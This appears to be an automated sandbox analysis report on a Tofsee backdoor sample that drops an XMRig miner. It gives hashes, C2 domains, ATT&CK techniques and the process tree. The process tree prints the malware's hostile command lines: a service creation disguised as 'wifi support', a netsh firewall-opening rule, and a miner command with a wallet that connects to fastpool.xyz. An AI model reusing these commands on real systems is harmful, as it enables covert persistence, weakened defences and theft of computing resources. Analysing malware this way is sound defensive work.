Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    05-06-2022 08:38

General

  • Target

    314f4da13b3a43ce3eddacf01d850f36.exe

  • Size

    307KB

  • MD5

    314f4da13b3a43ce3eddacf01d850f36

  • SHA1

    5f70d85a6bf37e5106a099040c658a77e7003b16

  • SHA256

    1cfe393c560cf7e17905bb2573ece065ffd587ffe3ec5efbbb43b326a39e3d51

  • SHA512

    2336c9af1ad364435ad7b5666727d60092f03a7ca15d4e655ffad5837caf06639286f9a3edc5cfbfa9b4c79e7cd4c6f97f8fe136e98e45250e90a96e3a714014

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\314f4da13b3a43ce3eddacf01d850f36.exe
    "C:\Users\Admin\AppData\Local\Temp\314f4da13b3a43ce3eddacf01d850f36.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:376
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gasqqrtw\
      2⤵
        PID:964
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\drxoskjw.exe" C:\Windows\SysWOW64\gasqqrtw\
        2⤵
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gasqqrtw binPath= "C:\Windows\SysWOW64\gasqqrtw\drxoskjw.exe /d\"C:\Users\Admin\AppData\Local\Temp\314f4da13b3a43ce3eddacf01d850f36.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gasqqrtw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1868
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gasqqrtw
          2⤵
          • Launches sc.exe
          PID:2044
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1460
      • C:\Windows\SysWOW64\gasqqrtw\drxoskjw.exe
        C:\Windows\SysWOW64\gasqqrtw\drxoskjw.exe /d"C:\Users\Admin\AppData\Local\Temp\314f4da13b3a43ce3eddacf01d850f36.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:336
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1604

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\drxoskjw.exe
        Filesize

        10.7MB

        MD5

        6ee12030177d54f80f70db3bb7857818

        SHA1

        63e9f7ce1827d056d1a279b0ed398aa3ab43d0cb

        SHA256

        de104b76cc3ecfc458b9bc036798800003f28ea301e9e3282cba4fa0bafa8423

        SHA512

        bb2a7afb4afd0121ed6c81f443f9f88a0f2c9ca86fbabce7d0062aa11f8fe5e7076aeb48d895c8b8daa63068d09c5a5bb18d5bc73a1fd9d68bf75df5abf69cbd

      • C:\Windows\SysWOW64\gasqqrtw\drxoskjw.exe
        Filesize

        10.7MB

        MD5

        6ee12030177d54f80f70db3bb7857818

        SHA1

        63e9f7ce1827d056d1a279b0ed398aa3ab43d0cb

        SHA256

        de104b76cc3ecfc458b9bc036798800003f28ea301e9e3282cba4fa0bafa8423

        SHA512

        bb2a7afb4afd0121ed6c81f443f9f88a0f2c9ca86fbabce7d0062aa11f8fe5e7076aeb48d895c8b8daa63068d09c5a5bb18d5bc73a1fd9d68bf75df5abf69cbd

      • memory/336-88-0x0000000000120000-0x0000000000130000-memory.dmp
        Filesize

        64KB

      • memory/336-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/336-71-0x0000000000089A6B-mapping.dmp
      • memory/336-98-0x0000000000170000-0x0000000000177000-memory.dmp
        Filesize

        28KB

      • memory/336-95-0x00000000056E0000-0x0000000005AEB000-memory.dmp
        Filesize

        4.0MB

      • memory/336-92-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/336-91-0x0000000000130000-0x0000000000135000-memory.dmp
        Filesize

        20KB

      • memory/336-85-0x0000000000110000-0x0000000000116000-memory.dmp
        Filesize

        24KB

      • memory/336-82-0x0000000001B10000-0x0000000001D1F000-memory.dmp
        Filesize

        2.1MB

      • memory/336-80-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/336-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/376-54-0x0000000000628000-0x0000000000639000-memory.dmp
        Filesize

        68KB

      • memory/376-58-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/376-76-0x0000000000628000-0x0000000000639000-memory.dmp
        Filesize

        68KB

      • memory/376-77-0x0000000000400000-0x00000000004F2000-memory.dmp
        Filesize

        968KB

      • memory/376-55-0x00000000764C1000-0x00000000764C3000-memory.dmp
        Filesize

        8KB

      • memory/376-59-0x0000000000400000-0x00000000004F2000-memory.dmp
        Filesize

        968KB

      • memory/376-57-0x0000000000628000-0x0000000000639000-memory.dmp
        Filesize

        68KB

      • memory/964-56-0x0000000000000000-mapping.dmp
      • memory/1460-73-0x0000000000000000-mapping.dmp
      • memory/1604-108-0x000000000011259C-mapping.dmp
      • memory/1604-103-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1604-101-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1712-79-0x0000000000400000-0x00000000004F2000-memory.dmp
        Filesize

        968KB

      • memory/1712-78-0x0000000000668000-0x0000000000678000-memory.dmp
        Filesize

        64KB

      • memory/1712-66-0x0000000000668000-0x0000000000678000-memory.dmp
        Filesize

        64KB

      • memory/1732-60-0x0000000000000000-mapping.dmp
      • memory/1736-62-0x0000000000000000-mapping.dmp
      • memory/1868-63-0x0000000000000000-mapping.dmp
      • memory/2044-64-0x0000000000000000-mapping.dmp